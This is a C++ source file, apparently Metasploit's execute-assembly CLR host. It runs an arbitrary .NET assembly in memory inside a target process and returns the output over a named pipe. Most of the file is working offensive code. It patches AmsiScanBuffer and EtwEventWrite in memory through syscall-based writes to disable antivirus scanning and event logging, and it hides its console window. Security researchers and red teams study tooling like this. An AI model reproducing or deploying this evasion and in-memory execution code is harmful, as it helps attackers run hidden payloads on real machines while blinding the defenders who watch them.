Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp
Views: 11780
// Author: B4rtik (@b4rtik)1// Project: Execute Assembly (https://github.com/b4rtik/metasploit-execute-assembly)2// License: BSD 3-Clause3// based on4// https://github.com/etormadiv/HostingCLR5// by Etor Madiv67#include "stdafx.h"8#include <stdio.h>9#include <windows.h>10#include <evntprov.h>11#include "HostingCLR.h"12#include "EtwTamper.h"1314// https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime15#define ModuleLoad_V2 15216#define AssemblyDCStart_V1 15517#define MethodLoadVerbose_V1 14318#define MethodJittingStarted 14519#define ILStubGenerated 882021#define ReportErrorThroughPipe(pipe, format, ...) {char buf[1024]; DWORD written; snprintf(buf, 1024, format, __VA_ARGS__); WriteFile(pipe, buf, (DWORD)strlen(buf), &written, NULL);}2223// mov rax, <Hooked function address>24// jmp rax25unsigned char uHook[] = {260xC327};2829#ifdef _X3230unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };31SIZE_T patchsize = 8;32#endif33#ifdef _X6434unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };35SIZE_T patchsize = 6;36#endif3738struct Metadata39{40unsigned int pipenameLength;41unsigned int appdomainLength;42unsigned int clrVersionLength;43unsigned int argsSize;44unsigned int assemblySize;45unsigned char amsiBypass;46unsigned char etwBypass;47};48DWORD METADATA_SIZE = 22;4950int executeSharp(LPVOID lpPayload)51{52HRESULT hr;5354ICLRMetaHost* pMetaHost = NULL;55ICLRRuntimeInfo* pRuntimeInfo = NULL;56BOOL bLoadable;57ICorRuntimeHost* pRuntimeHost = NULL;58IUnknownPtr pAppDomainThunk = NULL;59_AppDomainPtr pCustomAppDomain = NULL;60IEnumUnknown* pEnumerator = NULL;61_AssemblyPtr pAssembly = NULL;62SAFEARRAYBOUND rgsabound[1];63_MethodInfoPtr pMethodInfo = NULL;64VARIANT retVal;65VARIANT obj;66SAFEARRAY* psaStaticMethodArgs;67SAFEARRAY* psaEntryPointParameters;68VARIANT vtPsa;6970char* pipeName = NULL;71char* appdomainName = NULL;72char* clrVersion = NULL;73wchar_t* clrVersion_w = NULL;74BYTE* arg_s = NULL;75wchar_t* appdomainName_w = NULL;7677Metadata metadata;7879// Structure of lpPayload:80// - Packed metadata, including lengths of the following fields81// - Pipe name (ASCII)82// - Appdomain name (ASCII)83// - Clr Version Name (ASCII)84// - Param data85// - Assembly data8687memcpy(&metadata, lpPayload, METADATA_SIZE);8889BYTE* data_ptr = (BYTE*)lpPayload + METADATA_SIZE;9091pipeName = (char*)malloc((metadata.pipenameLength + 1) * sizeof(char));92memcpy(pipeName, data_ptr, metadata.pipenameLength);93pipeName[metadata.pipenameLength] = 0; // Null-terminate94data_ptr += metadata.pipenameLength;9596appdomainName = (char*)malloc((metadata.appdomainLength + 1) * sizeof(char));97memcpy(appdomainName, data_ptr, metadata.appdomainLength);98appdomainName[metadata.appdomainLength] = 0; // Null-terminate99data_ptr += metadata.appdomainLength;100101clrVersion = (char*)malloc((metadata.clrVersionLength + 1) * sizeof(char));102memcpy(clrVersion, data_ptr, metadata.clrVersionLength);103clrVersion[metadata.clrVersionLength] = 0; // Null-terminate104data_ptr += metadata.clrVersionLength;105106// Convert to wchar107clrVersion_w = new wchar_t[metadata.clrVersionLength + 1];108mbstowcs(clrVersion_w, clrVersion, metadata.clrVersionLength + 1);109110arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));;111memcpy(arg_s, data_ptr, metadata.argsSize);112data_ptr += metadata.argsSize;113114////////////////// Hijack stdout115116// Create a pipe to send data117HANDLE pipe = CreateNamedPipeA(118pipeName, // name of the pipe119PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only120PIPE_TYPE_BYTE, // send data as a message stream1211, // only allow 1 instance of this pipe1220, // no outbound buffer1230, // no inbound buffer1240, // use default wait time125NULL // use default security attributes126);127128if (pipe == NULL || pipe == INVALID_HANDLE_VALUE) {129//printf("[CLRHOST] Failed to create outbound pipe instance.\n");130hr = -1;131goto Cleanup;132}133134// This call blocks until a client process connects to the pipe135BOOL result = ConnectNamedPipe(pipe, NULL);136if (!result) {137//printf("[CLRHOST] Failed to make connection on named pipe.\n");138hr = -1;139goto Cleanup;140}141142SetStdHandle(STD_OUTPUT_HANDLE, pipe);143SetStdHandle(STD_ERROR_HANDLE, pipe);144145///////////////////// Done hijacking stdout146147rgsabound[0].cElements = metadata.assemblySize;148rgsabound[0].lLbound = 0;149SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);150151void* pvData = NULL;152hr = SafeArrayAccessData(pSafeArray, &pvData);153154if (FAILED(hr))155{156ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);157goto Cleanup;158}159160// Store assembly161memcpy(pvData, data_ptr, metadata.assemblySize);162163hr = SafeArrayUnaccessData(pSafeArray);164165if (FAILED(hr))166{167ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);168goto Cleanup;169}170171// Etw bypass172if (metadata.etwBypass)173{174int ptcResult = PatchEtw(pipe);175if (ptcResult == -1)176{177ReportErrorThroughPipe(pipe, "[CLRHOST] Etw bypass failed\n");178goto Cleanup;179}180}181HMODULE hMscoree = LoadLibrary("mscoree.dll");182FARPROC clrCreateInstance = GetProcAddress(hMscoree, "CLRCreateInstance");183if (clrCreateInstance == NULL)184{185ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance not present on this system.\n");186goto Cleanup;187}188hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);189190if (FAILED(hr))191{192ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance failed w/hr 0x%08lx\n", hr);193goto Cleanup;194}195196HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());197hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);198199if (FAILED(hr))200{201ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);202goto Cleanup;203}204205BOOL isloaded = ClrIsLoaded(clrVersion_w, pEnumerator, (VOID**)&pRuntimeInfo);206207if (!isloaded)208{209hr = pMetaHost->GetRuntime(clrVersion_w, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);210211if (FAILED(hr))212{213ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);214goto Cleanup;215}216217hr = pRuntimeInfo->IsLoadable(&bLoadable);218219if (FAILED(hr) || !bLoadable)220{221ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);222goto Cleanup;223}224}225226hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);227228if (FAILED(hr))229{230ReportErrorThroughPipe(pipe, "[CLRHOST] ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);231goto Cleanup;232}233234if (!isloaded)235{236hr = pRuntimeHost->Start();237}238239if (FAILED(hr))240{241ReportErrorThroughPipe(pipe, "[CLRHOST] CLR failed to start w/hr 0x%08lx\n", hr);242goto Cleanup;243}244245// Convert to wchar246appdomainName_w = new wchar_t[metadata.appdomainLength+1];247mbstowcs(appdomainName_w, appdomainName, metadata.appdomainLength+1);248249hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk);250251if (FAILED(hr))252{253ReportErrorThroughPipe(pipe, "[CLRHOST] ICorRuntimeHost::CreateDomain failed w/hr 0x%08lx\n", hr);254goto Cleanup;255}256257hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&pCustomAppDomain);258259if (FAILED(hr))260{261ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to get default AppDomain w/hr 0x%08lx\n", hr);262goto Cleanup;263}264265// Amsi bypass266if (metadata.amsiBypass)267{268int ptcResult = PatchAmsi(pipe);269if (ptcResult == -1)270{271ReportErrorThroughPipe(pipe, "[CLRHOST] Amsi bypass failed\n");272goto Cleanup;273}274}275276hr = pCustomAppDomain->Load_3(pSafeArray, &pAssembly);277278if (FAILED(hr))279{280ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pCustomAppDomain->Load_3 w/hr 0x%08lx\n", hr);281goto Cleanup;282}283284hr = pAssembly->get_EntryPoint(&pMethodInfo);285286if (FAILED(hr))287{288ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);289goto Cleanup;290}291292// Let's check the number of parameters: must be either the 0-arg Main(), or a 1-arg Main(string[])293pMethodInfo->GetParameters(&psaEntryPointParameters);294hr = SafeArrayLock(psaEntryPointParameters);295if (!SUCCEEDED(hr))296{297ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to lock param array w/hr 0x%08lx\n", hr);298goto Cleanup;299}300long uBound, lBound;301SafeArrayGetLBound(psaEntryPointParameters, 1, &lBound);302SafeArrayGetUBound(psaEntryPointParameters, 1, &uBound);303long numArgs = uBound - lBound + 1;304hr = SafeArrayUnlock(psaEntryPointParameters);305if (!SUCCEEDED(hr))306{307ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to unlock param array w/hr 0x%08lx\n", hr);308goto Cleanup;309}310311ZeroMemory(&retVal, sizeof(VARIANT));312ZeroMemory(&obj, sizeof(VARIANT));313314obj.vt = VT_NULL;315vtPsa.vt = (VT_ARRAY | VT_BSTR);316317switch (numArgs)318{319case 0:320if (metadata.argsSize > 1) // There is always a Null byte at least, so "1" in size means "0 args"321{322ReportErrorThroughPipe(pipe, "[CLRHOST] Assembly takes no arguments, but some were provided\n");323goto Cleanup;324}325// If no parameters set cElement to 0326psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);327break;328case 1:329{330// If we have at least 1 parameter set cElement to 1331psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);332333// Here we unfortunately need to do a trick. CommandLineToArgvW treats the first argument differently, as334// it expects it to be a filename. This affects situations where the first argument contains backslashes,335// or if there are no arguments at all (it will just create one - the process's image name).336// To coerce it into performing the correct data transformation, we create a fake first parameter, and then337// ignore it in the output.338339LPWSTR* szArglist;340int nArgs;341wchar_t* wtext = (wchar_t*)malloc((sizeof(wchar_t) * (metadata.argsSize + 2)));342wtext[0] = L'X'; // Fake process name343wtext[1] = L' '; // Separator344345346mbstowcs(wtext+2, (char*)arg_s, metadata.argsSize);347szArglist = CommandLineToArgvW(wtext, &nArgs);348349free(wtext);350351vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs - 1); // Subtract 1, to ignore the fake process name352353for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name354{355size_t converted;356size_t strlength = wcslen(szArglist[i]) + 1;357OLECHAR* sOleText1 = new OLECHAR[strlength];358char* buffer = (char*)malloc(strlength * sizeof(char));359360wcstombs(buffer, szArglist[i], strlength);361362mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);363BSTR strParam1 = SysAllocString(sOleText1);364long actualPosition = i - 1;365SafeArrayPutElement(vtPsa.parray, &actualPosition, strParam1);366free(buffer);367}368369LocalFree(szArglist);370371long iEventCdIdx(0);372hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);373break;374}375default:376ReportErrorThroughPipe(pipe, "[CLRHOST] Unexpected argument length: %d\n", numArgs);377goto Cleanup;378}379380//Assembly execution381hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);382if (FAILED(hr))383{384ReportErrorThroughPipe(pipe, "[CLRHOST] Unhandled exception when running assembly w/hr 0x%08lx\n", hr);385goto Cleanup;386}387388Cleanup:389390FlushFileBuffers(pipe);391DisconnectNamedPipe(pipe);392CloseHandle(pipe);393394if (pEnumerator) {395pEnumerator->Release();396}397if (pMetaHost) {398pMetaHost->Release();399}400if (pRuntimeInfo) {401pRuntimeInfo->Release();402}403404if (pRuntimeHost) {405if (pCustomAppDomain) {406pRuntimeHost->UnloadDomain(pCustomAppDomain);407}408pRuntimeHost->Release();409}410411if (psaStaticMethodArgs) {412SafeArrayDestroy(psaStaticMethodArgs);413}414if (pSafeArray) {415SafeArrayDestroy(pSafeArray);416}417418if (appdomainName) {419free(appdomainName);420}421422if (clrVersion) {423free(clrVersion);424}425if (clrVersion_w) {426delete[] clrVersion_w;427}428429if (arg_s) {430free(arg_s);431}432433if (appdomainName_w) {434delete[] appdomainName_w;435}436437return hr;438}439440VOID Execute(LPVOID lpPayload)441{442// Attach or create console443if (GetConsoleWindow() == NULL) {444AllocConsole();445HWND wnd = GetConsoleWindow();446if (wnd)447ShowWindow(wnd, SW_HIDE);448}449450HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE);451HANDLE stdErr = GetStdHandle(STD_ERROR_HANDLE);452453executeSharp(lpPayload);454SetStdHandle(STD_OUTPUT_HANDLE, stdOut);455SetStdHandle(STD_ERROR_HANDLE, stdErr);456457}458459INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) {460PNT_TIB pTIB = NULL;461PTEB pTEB = NULL;462PPEB pPEB = NULL;463464// Get pointer to the TEB465pTIB = (PNT_TIB)__readgsqword(0x30);466pTEB = (PTEB)pTIB->Self;467468// Get pointer to the PEB469pPEB = (PPEB)pTEB->ProcessEnvironmentBlock;470if (pPEB == NULL) {471return -1;472}473474if (pPEB->OSMajorVersion == 10 && pPEB->OSMinorVersion == 0) {475ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;476ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;477}478else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 1 && pPEB->OSBuildNumber == 7601) {479ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;480ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;481}482else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 2) {483ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;484ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;485}486else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 3) {487ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;488ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;489}490else {491492return -2;493}494495LPVOID lpBaseAddress = lpFuncAddress;496ULONG OldProtection, NewProtection;497SIZE_T uSize = patchsize;498NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);499if (status != STATUS_SUCCESS) {500return -1;501}502503status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, patchsize, NULL);504if (status != STATUS_SUCCESS) {505return -1;506}507508status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);509if (status != STATUS_SUCCESS) {510return -1;511}512513return 0;514}515516BOOL PatchEtw(HANDLE pipe)517{518HMODULE lib = LoadLibraryA("ntdll.dll");519if (lib == NULL)520{521ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load ntdll.dll");522return -2;523}524LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");525if (lpFuncAddress == NULL)526{527ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of EtwEventWrite");528return -2;529}530531return InlinePatch(lpFuncAddress, uHook, sizeof(uHook));532}533534BOOL PatchAmsi(HANDLE pipe)535{536537HMODULE lib = LoadLibraryA("amsi.dll");538if (lib == NULL)539{540ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load amsi.dll");541return -2;542}543544LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");545if (addr == NULL)546{547ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of AmsiScanBuffer");548return -2;549}550551return InlinePatch(addr, amsipatch, sizeof(amsipatch));552}553554BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) {555HRESULT hr;556ULONG fetched = 0;557DWORD vbSize;558BOOL retval = FALSE;559wchar_t currentversion[260];560561while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)&pRuntimeInfo, &fetched)) && fetched > 0)562{563hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize);564if (!FAILED(hr))565{566if (wcscmp(currentversion, version) == 0)567{568retval = TRUE;569break;570}571}572((ICLRRuntimeInfo*)pRuntimeInfo)->Release();573}574575return retval;576}577578